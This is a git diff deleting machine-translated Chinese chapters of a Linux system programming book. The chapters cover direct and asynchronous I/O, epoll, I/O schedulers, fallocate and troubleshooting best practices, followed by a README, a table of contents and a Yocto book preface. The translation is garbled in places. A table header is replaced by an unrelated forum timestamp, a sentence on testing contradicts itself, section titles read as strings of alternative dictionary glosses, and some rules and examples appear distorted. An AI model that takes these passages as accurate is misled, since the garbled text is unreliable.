DIO,内核页面缓存几乎完全被绕过了,从而立即带来了好处,即`mmap`技术可能面临的所有问题现在都消失了。 另一方面,这确实意味着整个缓存和管理将完全由用户空间应用处理(数据库等大型项目肯定需要缓存!)。对于没有特殊 I/O 要求的常规小应用,使用 DIO 可能会降低性能;请小心,在压力下测试您的工作负载,并确定是使用 DIO 还是跳过它。 - -传统上,内核处理哪些 I/O 片段(I/O 请求)在什么时候得到服务-换句话说,I/O 调度(这与 I/O 调度没有直接关系,但也请参阅*I/O 调度器*一节)。 使用 DIO(以及下面介绍的 AIO),应用开发人员基本上可以通过确定何时执行 I/O 来接管 I/O 调度。这可能是好事,也可能是坏事:它为(成熟的)应用开发人员提供了设计和实现 I/O 调度的灵活性,但这并不是一件小事;像往常一样,这是一种权衡。 - -此外,您应该意识到,尽管我们直接调用 I/O 路径,但它不能保证写操作立即刷新到底层存储介质;这是一个单独的功能,可以通过将`O_SYNC`标志指定给`open(2)`或者当然是显式刷新(通过`[f]sync(2)`系统调用)来请求。 - -# 异步 I/O(AIO) - -**异步 I/O**(**AIO**)是 Linux 实现的一种现代高性能异步非阻塞 I/O 技术。 想想看:非阻塞和异步意味着应用线程可以发出读取(针对文件或网络数据);usermode API 立即返回;I/O 在内核中排队;应用线程可以继续处理 CPU 限制的内容;一旦 I/O 请求完成,内核通知线程读取准备就绪;然后线程实际执行读取。 这是高性能-应用不会在 I/O 上保持阻塞状态,而是可以在处理 I/O 请求时执行有用的工作;不仅如此,当 I/O 工作完成时,它还会收到异步通知。 (另一方面,像`select(2)`、`poll(2)`和`epoll(7)`这样的多路复用 API 是异步的-您可以发出系统调用并立即返回-但它们实际上仍然是阻塞操作,因为线程必须检查 I/O 是否完成-例如,在返回时使用`poll(2)`和`read(2)`系统调用-这仍然是阻塞操作。) - -使用 AIO,线程可以同时启动多个 I/O 传输;每个传输都需要一个上下文-称为*[a]iocb*-[Async]I/O 控制块数据结构(Linux 将该结构称为 iocb,POSIX AIO 框架(包装库)将其称为 iaiocb)。 [a]iocb 结构包含文件描述符、数据缓冲区、异步事件通知结构`sigevent`等。 警觉的读者会记得,我们已经在创建和使用 POSIX(间隔)计时器部分的[第 13 章](13.html),*计时器*中使用了这个强大的`sigevent`结构。 实际上正是通过这个`sigevent`结构实现了异步通知机制(我们在[第 13 章](13.html)和*Timers*中使用了它,以异步通知我们的计时器超时;这是通过将`sigevent.sigev_notify`设置为值`SIGEV_SIGNAL`来实现的,从而在计时器超时时接收信号)。-Linux 公开了五个系统调用,供应用开发人员利用 AIO; 它们如下:`io_setup(2)`、`io_submit(2)`、`io_cancel(2)`、`io_getevents(2)`和`io_destroy(2)`。 - -AIO 包装器 API 由两个库提供-libaio 和 iLibrt API(与 glibc 一起发布);当然,您可以使用它们的包装器,它们最终将调用系统调用。 还有一些 POSIX AIO 包装器;有关使用它的概述以及示例代码,请参阅`aio(7)`上的手册页。 (有关更多详细信息和示例代码,请参阅*中有关 GitHub 存储库的进一步阅读*一节中的文章。) - -# I/O 技术-快速比较 - -下表提供了我们已经看到的四到五种 Linux I/O 技术之间一些比较突出的比较点,即:阻塞`read(2)`/`write(2)`(以及 SG-I/O/定位在`[p]read[v](2)`/`[p]write[v](2)`)、内存映射、非阻塞(主要是同步)DIO 和非阻塞异步 AIO: - -| **I/O 类型** | **接口** | **专业** | **CONS** | -| 阻塞 -(常规和 SG-IO/定位) | `[p]read[v](2)`/`[p]write[v](2)` | 易用 | 缓慢;数据缓冲区的双拷贝 | -| 内存映射 | `mmap(2)` | (相对)易于使用;快速(在内存 I/O 中);数据的单一副本(零拷贝技术); -在 RAM:STORAGE::~1:1 时工作得最好 | 当 RAM:存储比为 1:N(N>>1)时,MMU 密集型(高页表开销、元工作) | -| DIO -(非阻塞,主要是同步) | `open(2)`带有`O_DIRECT`标志 | 零拷贝技术;对页面缓存没有影响;对缓存的控制;对 I/O 调度的一些控制 | 设置和使用相当复杂:应用必须执行自己的缓存 | -| AIO 接口 -(非阻塞、异步) | io_*(2)等> | 真正的异步和非阻塞-高性能应用所需;零拷贝技术;不影响页面缓存;完全控制缓存、I/O 和线程调度 | 设置和使用起来很复杂 | - -Linux I/O technologies—a quick comparison - -在关于 GitHub 存储库的*进一步阅读*一节中,我们提供了两篇博客文章的链接(来自两个现实世界的产品:现代高性能分布式 No SQL 数据存储库 Scylla 和现代高性能 Web 服务器 Nginx),这两篇文章深入讨论了这些替代的强大 I/O 技术(AIO、线程池)如何在(各自的)现实产品中使用;请一定要看一看。 - -# 多路复用或异步阻塞 I/O-快速说明 - -您经常听说强大的多路复用 I/OAPI-`select(2)`、`poll(2)`,以及最近 Linux 强大的`epoll(7)`框架。 这些 API,例如`select(2)`、`poll(2)`和/或`epoll(7)`,提供了所谓的异步阻塞 I/O。它们可以很好地处理在 I/O 上保持阻塞状态的描述符;例如套接字(Unix 和 Internet 域)以及管道(包括未命名管道和命名管道(FIFO))。 - -这些 I/O 技术是异步的(您可以发出系统调用并立即返回),但它们实际上在本质上仍然是阻塞操作,因为线程必须检查 I/O 是否完成,例如,通过将`poll(2)`与`read(2)`系统调用配合使用,这仍然是一个阻塞操作。 - -这些 API 对于网络 I/O 操作确实非常有用,典型的例子是监控数百(甚至数千)个连接的繁忙(Web)服务器。 首先,由套接字描述符表示的每个连接使得使用`select(2)`或`poll(2)`系统调用很有吸引力。 然而,事实是`select(2)`是旧的且受限的(最多 1,024 个描述符;不够);其次,`select(2)`和`poll(2)`的内部实现的算法时间复杂度都是 O(N),这使得它们不可伸缩。`epoll(7)`的实现没有(理论)描述符限制,并且使用 O(1)算法和所谓的边缘触发通知。此表总结了以下几点: - -| 加入时间:清华大学 2007 年 01 月 25 日下午 3:33 | **算法时间复杂度** | **最大客户端数量** | -| `select(2)` | O(N) | FD_SETSIZE(1024) | -| `poll(2)` | O(N) | (理论上)无限的 | -| `epoll(7)`接口 | O(1) | (理论上)无限的 | - -Linux asynchronous blocking APIs - -因此,这些特性使得`epoll(7)`组 API(`epoll_create(2)`、`epoll_ctl(2)`、`epoll_wait(2)`和`epoll_pwait(2)`)成为在需要非常高可伸缩性的网络应用上实现非阻塞 I/O 的首选。 (请参阅关于 GitHub 存储库的*进一步阅读*部分中的一篇博客文章的链接,该文章提供了有关在 Linux 上使用多路复用的 I/O(包括 EPOLL)的更多详细信息。) - -# I/O-杂项 - -下面是本章要完善的其他几个主题。 - -# Linux 的 inotify 框架 - -虽然这些多路复用 API 非常适合网络 I/O,但是这些多路复用 API 虽然在理论上可以用于监视常规文件描述符,但它们只会报告它们始终处于就绪状态(用于读取、写入或出现错误情况),从而降低了它们的有用性(在常规文件上使用时)。 - -也许 Linux 的 iinotify 框架,一种监视文件系统事件(包括单个文件上的事件)的方法,可能就是您正在寻找的。 Inotify 框架提供了以下系统调用来帮助开发人员监控文件:http://man7.org/linux/man-pages/man7/inotify.7.html`inotify_init(2)`、`inotify_add_watch(2)`(随后可以是`read(2)`),然后是`inotify_rm_watch(2)`。有关更多详细信息,请查看`inotify(7)`上的手册页:[http://man7.org/linux/man-pages/man7/inotify.7.html](http://man7.org/linux/man-pages/man7/inotify.7.html)。 - -# I/O 调度器 - -Linux I/O 堆栈中的一个重要特性是内核块层的一部分,称为 I/O 调度器。 这里要解决的问题基本上是这样的:内核或多或少不断地发出 I/O 请求(由于应用想要执行各种文件数据/代码读写);这导致连续的 I/O 请求流最终由块驱动程序接收和处理。 内核人员知道,I/O 降低性能的主要原因之一是典型 SCSI 磁盘的物理寻道速度非常慢(与硅片速度相比;是的,当然,SSD(固态设备)正使这一点如今变得更受欢迎)。 - -因此,如果我们能够使用某种智能来对块 I/O 请求进行排序,使其在底层物理介质方面最有意义,这将有助于提高性能。 想一想大楼里的电梯:它使用一种排序算法,在穿过不同的楼层时,最佳地让人们上下楼。 这就是 OS I/O 调度器试图做的事情;事实上,第一个实现被称为 Linus 的升降机。 - -存在各种 I/O 调度器算法(Deadline,**完全公平队列**(**CFQ**),NOOP,Predictive Scheduler:这些算法现在被认为是遗留的;截至撰写本文时,最新的 I/O 调度器似乎是 MQ-Deadline 和**预算公平队列**(**BFQ**)和 I/O 调度器,BFQ 对于重或轻的 I/O 工作负载看起来非常有希望(BFQ 是一个。 Linux 操作系统中存在的 I/O 调度器是一个内核特性;您可以检查哪些是它们,哪些正在使用;请看我的 Ubuntu 18.04x86_64 机器上正在做的事情: - -```sh -$ cat /sys/block/sda/queue/scheduler -noop deadline [cfq] -$ -``` - -这里,`bfq`是我的 Fedora 28 系统(具有更新的内核)上使用的 I/O 调度器: - -```sh -$ cat /sys/block/sda/queue/scheduler -mq-deadline [bfq] none -$ -``` - -此处的默认 I/O 调度器为`bfq`。 有趣的是:用户实际上可以在 I/O 调度器之间进行选择,运行他们的 I/O 压力工作负载和/或基准测试,并查看哪个产生最大的好处! 如何选择 I/O 调度器?要在引导时选择 I/O 调度器,请传递内核参数(通过 Bootloader,在基于 x86 的笔记本电脑、台式机或服务器系统上通常为 GRUB,在嵌入式 Linux 上为 U-Boot);有问题的参数作为`elevator=`传递;例如,要将 I/O 调度器设置为 noop(可能对具有 SSD 的系统有用),请将参数作为`elevator=noop`传递给内核。 - -有一种更简单的方法可以在运行时立即更改 I/O 调度器;只需将您想要的 I/O 调度器`echo(1)`更改到伪文件中;例如,要将 I/O 调度器更改为`mq-deadline`,请执行以下操作: - -```sh -# echo mq-deadline > /sys/block/sda/queue/scheduler -# cat /sys/block/sda/queue/scheduler -[mq-deadline] bfq none -# -``` - -现在,您可以(对)不同 I/O 调度器上的 I/O 工作负载进行(压力)测试,从而决定哪个 I/O 调度器能为您的工作负载带来最佳性能。 - -# 确保有足够的磁盘空间 - -Linux 提供了`posix_fallocate(3)`API;它的工作是保证特定于给定文件的给定范围有足够的磁盘空间可用。 这实际上意味着,只要应用在该范围内写入该文件,就可以保证写入不会因为磁盘空间不足而失败(如果确实失败,`errno`将被设置为 ENOSPC;这种情况不会发生)。 签名如下: - -```sh -#include -int posix_fallocate(int fd, off_t offset, off_t len); -``` - -以下是关于此接口的一些快速注意事项: - -* 该文件是由描述符`fd`引用的文件。 -* 范围是从 0`offset`到 0`len`个字节;实际上,这是为文件保留的磁盘空间。 -* 如果当前文件大小小于范围要求的大小(即,`offset`+`len`),则文件将增长到此大小;否则,文件的大小保持不变。 -* `posix_fallocate(3)`是底层系统调用`fallocate(2)`上的可移植包装器。 -* 要使此 API 成功,底层文件系统必须支持`fallocate`;如果不支持,则对其进行仿真(但有很多警告和问题;有关更多信息,请参阅手册页)。 -* 此外,还存在一个名为`fallocate(1)`的 CLI 实用程序,用于从(比方说)shell 脚本执行相同的任务。 - -These APIs and tools may come in very useful for software such as backup, cloud provisioning, digitization, and so on, guaranteeing sufficient disk space is available before a long I/O operation begins. - -# 用于 I/O 监视、分析和带宽控制的实用程序 - -此表汇总了各种实用程序、API、工具,甚至 cgroup blkio 控制器;事实证明,这些工具/功能在监视、分析(以查明 I/O 瓶颈)和分配 I/O 带宽(通过`ioprio_set(2)`和功能强大的 cgroup blkio 控制器)方面非常有用。 - -| **实用程序名称** | **它的作用** | -| `iostat(1)` | 监视 I/O 并显示有关设备和存储设备分区的 I/O 统计信息。 从`iostat(1)`上的手册页:`iostat`命令用于通过观察设备相对于其平均传输速率的活动时间来监视系统输入/输出设备负载。 `iostat`命令生成可用于更改系统配置的报告,以更好地平衡物理磁盘之间的输入/输出负载。 | -| `iotop(1)` | 在`top(1)`样式(针对 CPU)中,iotop 持续显示按 I/O 使用情况排序的线程。 必须以超级用户身份运行。 | -| `ioprio_[get|set](2)` | 查询和设置给定线程的 I/O 调度类和优先级的系统调用;有关详细信息,请参阅手册页:[http://man7.org/linux/man-pages/man2/ioprio_set.2.html](http://man7.org/linux/man-pages/man2/ioprio_set.2.html);也请参阅其包装器实用程序`ionice(1)`。 | -| 性能-工具 | 在这些工具(来自 B Gregg)中,`iosnoop-perf(1)`和`iolatecy-perf(1)`分别用于窥探 I/O 事务和观察 I/O 延迟。 从他们的 GitHub 资源库安装这些工具:[https://github.com/brendangregg/perf-tools](https://github.com/brendangregg/perf-tools)。 | -| Cgroup blkio 控制器 | 使用功能强大的 Linux cgroup 的 blkio 控制器,以任何所需的方式限制一个或一组进程的 I/O 带宽(在云环境中大量使用,包括 Docker);请参阅 GitHub 存储库的*进一步阅读*部分中的相关链接。 | - -Tools/utilities/APIs/cgroups for I/O monitoring, analysis, and bandwidth control - -注意:Linux 系统默认情况下可能不会安装上面提到的实用程序;(显然)请安装它们以试用它们。 - -Do also check out Brendan Gregg's superb Linux Performance blog pages and tools (which include perf-tools, iosnoop, and iosnoop latency heat maps); please find the relevant links in the *Further reading* section on the GitHub repository. - -# 简略的 / 概括的 / 简易判罪的 / 简易的 - -在本章中,我们学习了处理文件的一个关键方面的强大方法:确保 I/O 性能保持尽可能高,因为 I/O 确实是许多实际工作负载中耗尽性能的瓶颈。 这些技术包括传递给操作系统的文件访问模式建议、SG-I/O 技术和 API、文件 I/O 的内存映射、DIO、AIO 等。 - -The next chapter in the book is a brief look at daemon processes; what they are and how to set them up. Kindly take a look at this chapter here: [https://www.packtpub.com/sites/default/files/downloads/Daemon_Processes.pdf](https://www.packtpub.com/sites/default/files/downloads/Daemon_Processes.pdf). \ No newline at end of file diff --git a/docs/handson-sys-prog-linux/19.md b/docs/handson-sys-prog-linux/19.md deleted file mode 100644 index d0dd9b94..00000000 --- a/docs/handson-sys-prog-linux/19.md +++ /dev/null @@ -1,113 +0,0 @@ -# 十九、故障排除和最佳实践 - -本章的重点是简要概述较新的 Linux 故障排除工具和实用程序,以及在设计、开发和部署真实的 Linux 系统应用时应遵循的行业最佳实践。不过,我们希望非常明确地说明,这是一本关于 Linux 系统编程的书;这里描述的故障排除提示和最佳实践仅与 Linux 系统上的应用(通常用 C/C++编写)的系统级开发有关;我们不讨论 Linux 上的一般故障排除(例如网络或配置问题的故障排除、系统管理等主题 - -特别是对于本章(主要是因为它只顺便提到的内容的范围和大小),我们在 GitHub 存储库的*进一步阅读*部分提供了几篇有用的在线文章和书籍。 请务必浏览一下。 - -本章是本书的最后一章;在这里,关于 Linux 系统编程,读者将获得以下内容: - -* (较新的)故障排除工具和技术概述 -* 行业最佳实践概述-在设计、软件工程、编程实现和测试方面 - -# 故障排除工具 - -在本节中,我们将提到几个工具和实用程序,它们可以帮助应用开发人员识别系统瓶颈和性能问题。 (注意,为了节省篇幅和时间,这里我们不深入研究几十个常见的可疑工具-Linux 上常见的系统监控实用程序,如`ps`、`pstree`、`top`、`htop`、`pidstat`、`vmstat`、`dstat`、`sar`、`nagios`、`iotop`、`iostat`、`ionice`、`lsof`、`nmon`、`iftop`、`ethtool`、`pidstat`、`vmstat`、`dstat`、`sar`、`nagios`、`iotop`、`iostat`、`ionice`、`lsof`、`nmon`、`iftop`、`ethtool`、。 `netstat`、`tcpdump`、`wireshark`-而不是提到较新的)。 在执行数据收集(或基准测试)以供以后分析时,需要记住一件重要的事情:不厌其烦地设置一个测试平台,并且在使用它时,对于给定的运行,一次只更改(尽可能)一个变量,这样您就可以看到它的影响。 - -# PERF - -性能测量和分析是一个巨大的主题;识别、分析和确定性能问题的根本原因绝非易事。 近年来,`perf(1)`和`htop(1)`实用程序已经成为 Linux 平台上性能测量和分析的基本工具。 - -有时,您所需要的只是查看消耗 CPU 最多的是什么;传统上,我们使用众所周知的`top(1)`实用程序来做到这一点。 相反,尝试非常有用的`perf`变体,如:`sudo perf top`。 - -此外,您还可以通过以下功能利用其中的一些功能: - -```sh -sudo perf top -r 90 --sort pid,comm,dso,symbol - (-r 90 => collect data with SCHED_FIFO RT scheduling class and priority 90 [1-99]). -``` - -本质上,这是`perf`工作流:记录会话(保存数据文件)并生成报告。 (请参阅有关 GitHub 存储库的*进一步阅读*部分中的链接。) - -Brendan Gregg 博客上提供的优秀图表清楚地展示了可用于在 Linux 上执行观察、性能分析和动态跟踪的数十个工具: - -* LINUX 性能工具:http://www.brendangregg.com/Perf/linux_perf_tools_full.png -* LINUX 性能可观测性工具:http://www.brendangregg.com/Perf/linux_observability_tools.png - -由于其视觉效果,Brendan Gregg 的 Flame Graph 脚本也非常有趣;请查看 GitHub 存储库上的*进一步阅读*部分中的链接。 - -Brendan Gregg 还领导了一个名为 Perf-Tools 的项目的开发。 以下是该项目的一些内容:基于 Linux`perf_events`*(*又名 perf)和 Ftrace 的性能分析工具。 几个非常有用的 shell 脚本包装器(在 Perf、Ftrace 和 JK 探测器上)组成了这些工具;一定要克隆 GitHub 存储库并试用它们。 *(*[https://github.com/brendangregg/perf-tools](https://github.com/brendangregg/perf-tools)。) - -# 跟踪工具 - -深入跟踪通常有一个令人向往的副作用,即让开发人员或测试人员发现性能瓶颈,以及调试系统级的延迟和问题。 Linux 有太多的框架和工具可用于跟踪,无论是在用户空间还是在内核级别;这里提到了一些更相关的框架和工具: - -* **用户空间**:`ltrace(1)`(跟踪库 API)、`strace(1)`(跟踪系统调用;也可以尝试执行`sudo perf trace`)、LTTng-ust、uProbe。 -* **内核空间**:lttng,ftrace(加上几个前端,比如`tracecmd(1)`,kernelshark Guim),KProbe-(包括最高版本为 4.14 的内核),KretProbe;SystemTaprm)eBPF。 - -# Linux proc 文件系统 - -Linux 有一个非常丰富和强大的文件系统,称为进程**procfs**-`proc`。 它通常挂载在`/proc`下,并且包含伪文件和目录,这些伪文件和目录包含运行时生成的有关进程和内部信息的有价值的信息。 简而言之,cprofs 用作 UI 有两个关键目的: - -* 它充当详细的进程、线程、操作系统和硬件信息的视口。 -* 它用作查询和设置内核级可调参数(内核、调度、内存和网络参数的开关和值)的位置。 - -不厌其烦地学习和使用 Linux 的 nproc 文件系统是非常值得的。 几乎所有的用户空间监控和分析工具最终都是基于 procfs 的。 有关 GitHub 存储库的详细信息,请参阅*进一步阅读*部分中提供的链接。 - -# 最佳做法 - -在本节中,我们将简要列举我们认为是行业最佳实践的内容,尽管它们大多是通用的,因此范围很广;我们将特别从 Linux 系统程序员的角度来看待它们。 - -# 最新的经验主义方法 - -*经验主义*这个词(根据*剑桥英语词典*)的意思是基于亲身经历或看到的东西,而不是基于理论。 这可能是要遵循的关键原则。 古斯塔沃·杜阿尔特(Gustavo Duarte)的一篇引人入胜的文章(这里提到:[https://www.infoq.com/news/2008/02/realitydrivendevelopment](https://www.infoq.com/news/2008/02/realitydrivendevelopment))写道:“*行动和实验是经验主义的基石。 没有人试图通过广泛的分析和丰富的文献来征服现实。 现实是通过实验被邀请进来的。 一家经验丰富的公司聘请实习生,并在一个夏天开发出一款产品,而不是苦恼于市场研究。 一家非经验型公司有 43 个人在计划一年的即兴设计。“*在整本书中,我们也一直试图有意识地遵循经验主义的方法;我们绝对敦促读者在设计和开发中培养和嵌入经验主义原则。 - -# 软件工程智慧一言以蔽之 - -Frederick P Brooks 在 1975 年写了他著名的论文*The Mythical Man-Month:Esays on Software Engineering*,这本书被标榜为迄今为止关于软件项目管理最有影响力的书。 这并不奇怪:某些真理就是那样的真理。 以下是本书中的一些珍品: - -* 计划扔掉一个;无论如何你都会扔掉的。 -* 没有什么灵丹妙药。 -* 好的烹饪需要时间。 如果让你等待,那是为了更好地服务你,取悦你。 -* 不管分配了多少妇女,生育一个孩子都需要九个月的时间。 -* 好的判断来自经验,经验来自错误的判断。 - -有趣的是,当然,历史悠久的 Unix 操作系统的设计哲学确实包含了伟大的设计原则,这些原则在 Linux 上至今仍然有效。 我们在[第 1 章](01.html)和*Linux 系统体系结构*的*一节中介绍了这一点,*Unix 哲学一言以蔽之*。* - -# 编制程序 / 节目安排 / 设计 / 规划 - -现在让我们转到开发人员要牢记的更平凡但真正重要的事情。 - -# 程序员的核对表--七条规则 - -我们建议七条规则如下: - -* 规则 1:检查所有 API 的故障情况。 -* 规则 2:使用(`-Wall -Wextra`)上的警告进行编译,并尽可能消除所有警告。 -* 规则 3:永远不要相信(用户)输入;验证它。 -* 规则 4:不要在代码中使用断言。 -* 规则 5:立即从代码库中删除未使用的(或死的)代码。 -* 规则 6:彻底测试;目标是 100%的代码覆盖率。 花时间和精力学习使用强大的工具:安全内存检查器(Valgrind,杀菌器工具包)、静态和动态数据分析器、安全检查器(Checksec)、模糊器等(参见以下解释)。 -* 规则 7:不要假设任何事情(*假设*,从*u*和*Me*得出*ASS*)。 - -这里有一些不遵守规则可能导致严重失败的例子:阿丽亚娜 5 号(Ariane 5)无人火箭在发射初期坠毁(1996 年 6 月 4 日);该漏洞最终被追溯到注册溢出问题,即单一类型转换错误(规则 5)。 骑士资本集团在 45 分钟内损失了 4.6 亿美元。 不要假设一页的大小。 使用`getpagesize(2)`系统调用或`sysconf(3)`来获取它。进一步沿着这些路线,请参阅题为*低级软件设计*的博客文章(在 GitHub 存储库的*进一步阅读*部分中有指向这些内容的链接)。 - -# 更好的测试 - -测试是一项关键活动;彻底和持续的测试(包括回归测试)会产生一个稳定的产品,工程团队和客户都对此充满信心。 - -这里有一个经常被忽视的事实:完整的代码复盖率测试是至关重要的! 为什么? 很简单--通常在从未经过实际测试的代码段中潜伏着隐藏的缺陷(错误处理就是典型的例子);但事实是,它们总有一天会受到攻击,这可能会导致可怕的失败。 - -话又说回来,不幸的是,测试只能揭示错误的存在,而不能揭示错误的存在;然而,良好和彻底的测试是绝对关键的。大多数执行的测试(编写的测试用例)往往是积极的测试用例;有趣的是,大多数软件(安全)和漏洞可能会在这种测试中逃脱。 负测试用例有助于捕获这些故障;称为**模糊**的一类软件测试在这方面非常有帮助。在不同的机器架构上测试代码也可以帮助暴露隐藏的缺陷。 - -# 使用 Linux 内核的控制组 - -使用 Linux 内核的**cgroups**组(控制组)技术来指定和约束资源分配和带宽。 现代 Linux 系统上的 cgroup 控制器包括以下内容:CPU(CPU 使用限制)、CPU 集(执行 CPU 亲和性的现代方式,将一组进程限制为一组 CPU)、blkio(I/O 限制)、设备(哪些进程可以使用哪些设备的限制)、Freezer(暂停/恢复任务执行)、内存(内存使用限制)、`net_cls`(网络数据包使用 classd 标记)、`net_prio`(限制每个接口的网络流量)、以及**个命名空间。 `perf_event`(用于性能分析)。** - -不仅从需求角度,而且从安全角度来看,限制资源也很重要(想想恶意攻击者想出[D]DoS 攻击)。 顺便说一句,容器技术(本质上是一种轻量级虚拟化技术)是当今的热门话题,这在很大程度上是因为组合了两种已经充分发展的 Linux 内核技术:cgroup 和命名空间。 - -# 简略的 / 概括的 / 简易判罪的 / 简易的 - -问:世界上最大的空间是多少? -答案:改进的空间! - -一般说来,这应该总结了您在处理大型项目时应该持有的态度,并保持终身学习的主题,如 Linux。 我们再次敦促读者不仅要为了概念上的理解而阅读-这一点很重要!-而且还要亲手动手写代码。 犯错误,改正错误,并从中吸取教训。 为开源做贡献是一种很棒的方式。 \ No newline at end of file diff --git a/docs/handson-sys-prog-linux/README.md b/docs/handson-sys-prog-linux/README.md deleted file mode 100644 index a6c76224..00000000 --- a/docs/handson-sys-prog-linux/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# Linux 系统编程实用手册 - -> 原文:[Hands-On System Programming with Linux](https://libgen.rs/book/index.php?md5=9713B9F84CB12A4F8624F3E68B0D4320) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/handson-sys-prog-linux/SUMMARY.md b/docs/handson-sys-prog-linux/SUMMARY.md deleted file mode 100644 index 2706fc63..00000000 --- a/docs/handson-sys-prog-linux/SUMMARY.md +++ /dev/null @@ -1,21 +0,0 @@ -+ [Linux 系统编程实用手册](README.md) -+ [零、前言](00.md) -+ [一、Linux 系统架构](01.md) -+ [二、虚拟内存](02.md) -+ [三、资源限制](03.md) -+ [四、动态内存分配](04.md) -+ [五、Linux 内存问题](05.md) -+ [六、内存问题的调试工具](06.md) -+ [七、进程凭证](07.md) -+ [八、进程功能](08.md) -+ [九、进程执行](09.md) -+ [十、进程创建](10.md) -+ [十一、信号——第一部分](11.md) -+ [十二、信号——第二部分](12.md) -+ [十三、定时器](13.md) -+ [十四、使用 Pthread 的多线程——第一部分:要领](14.md) -+ [十五、使用 Pthread 的多线程——第二部分:同步](15.md) -+ [十六、多线程技术——第三部分](16.md) -+ [十七、Linux 下的 CPU 调度](17.md) -+ [十八、高级文件 I/O](18.md) -+ [十九、故障排除和最佳实践](19.md) diff --git a/docs/learn-emb-linux-yocto-proj/00.md b/docs/learn-emb-linux-yocto-proj/00.md deleted file mode 100644 index cf3a2dc3..00000000 --- a/docs/learn-emb-linux-yocto-proj/00.md +++ /dev/null @@ -1,133 +0,0 @@ -# 零、前言 - -关于今天的 Linux 环境,本书中解释的大多数主题已经可用,并且详细介绍了这些主题,本书还涵盖了大量信息,并帮助创建了许多观点。 当然,这本书中也介绍了一些关于各种主题的非常好的书籍,在这里,你可以找到它们的参考资料。 然而,本书的范围并不是重新介绍这些信息,而是将与嵌入式开发过程交互的传统方法与 Yocto 项目使用的方法进行比较。 - -本书还介绍了您在嵌入式 Linux 中可能遇到的各种挑战,并提出了解决方案。 虽然这本书的目标读者是那些对自己的基本 Yocto 和 Linux 技能非常有信心并正在努力改进它们的开发人员,但我相信你们中那些在这一领域没有实际经验的人也可以在这里找到一些有用的信息。 - -本书围绕各种重要主题编写,您将在嵌入式 Linux 之旅中遇到这些主题。 除此之外,我们还向您提供技术信息和一些练习,以确保尽可能多的信息传递给您。 在本书的最后,您应该对 Linux 生态系统有了一个清晰的了解。 - -# 这本书涵盖了哪些内容 - -[第 1 章](01.html#aid-DB7S1 "Chapter 1. Introduction"),*简介*试图提供嵌入式 Linux 软硬件体系结构的图景。 它还为您提供了有关 Linux 和 Yocto 的好处的信息以及示例。 它解释了 Yocto 项目的架构以及如何将其集成到 Linux 环境中。 - -[第 2 章](02.html#aid-I3QM1 "Chapter 2. Cross-compiling"),*交叉编译*为您提供了工具链的定义、组件以及获取工具链的方法。 在此之后,将向您提供有关 POKY 存储库的信息,并与组件进行比较。 - -[第 3 章](03.html#aid-NQU21 "Chapter 3. Bootloaders"),*引导加载器*,提供有关引导序列、U-Boot 引导加载器以及如何为特定主板构建它的信息。 在此之后,它可以访问 POKY 的 U-Boot 食谱,并显示它是如何使用的。 - -[第 4 章](04.html#aid-TI1E1 "Chapter 4. Linux Kernel"),*Linux 内核*解释了 Linux 内核的特性和源代码。 它提供了有关如何构建内核源和模块的信息,然后继续解释 Yocto 内核的诀窍,并展示了在内核引导之后如何在那里发生相同的事情。 - -[第 5 章](05.html#aid-173722 "Chapter 5. The Linux Root Filesystem"),*Linux 根文件系统*提供了有关根文件系统目录和设备驱动程序组织的信息。 它解释了各种文件系统、BusyBox 以及最小文件系统应该包含的内容。 它将向您展示 BusyBox 是如何在 Yocto 项目内部和外部编译的,以及如何使用 POKY 获得根文件系统。 - -[Yocto 项目的第 6 章](06.html#aid-1BRPS2 "Chapter 6. Components of the Yocto Project")*组件*概述了 Yocto 项目的可用组件,其中大部分都在 POKY 之外。 它提供了每个组件的介绍和简要演示。 在本章之后,我们将更详细地解释这些组件中的一部分。 - -[第 7 章](07.html#aid-1IHDQ2 "Chapter 7. ADT Eclipse Plug-ins"),*ADT Eclipse 插件*展示了如何设置 Yocto Project Eclipse IDE,如何使用 QEMU 将其设置为交叉开发和调试,以及定制映像和与不同工具交互。 - -[第 8 章](08.html#aid-1LCVG2 "Chapter 8. Hob, Toaster, and Autobuilder")、*Hob、Toaster 和 Autobuilder*详细介绍了这些工具中的每一个,并解释了如何使用它们,还提到了它们的优点。 - -[第 9 章](09.html#aid-1P71O2 "Chapter 9. Wic and Other Tools"),*WIC 和其他工具*解释了如何使用与上一章提到的工具非常不同的另一组工具。 - -[第 10 章](10.html#aid-1T1402 "Chapter 10. Real-time"),*实时*显示了 Yocto 项目的实时层、它们的用途和附加值。 文中还提到了有关 Preempt-RT、NOHZ、用户空间 RTOS、基准测试和其他实时相关特性的文档信息。 - -[第 11 章](11.html#aid-22O7C1 "Chapter 11. Security"),*安全*解释了 Yocto 项目的安全相关层、它们的用途,以及它们为 POKY 增值的方式。 在这里,您还将获得有关 SELinux 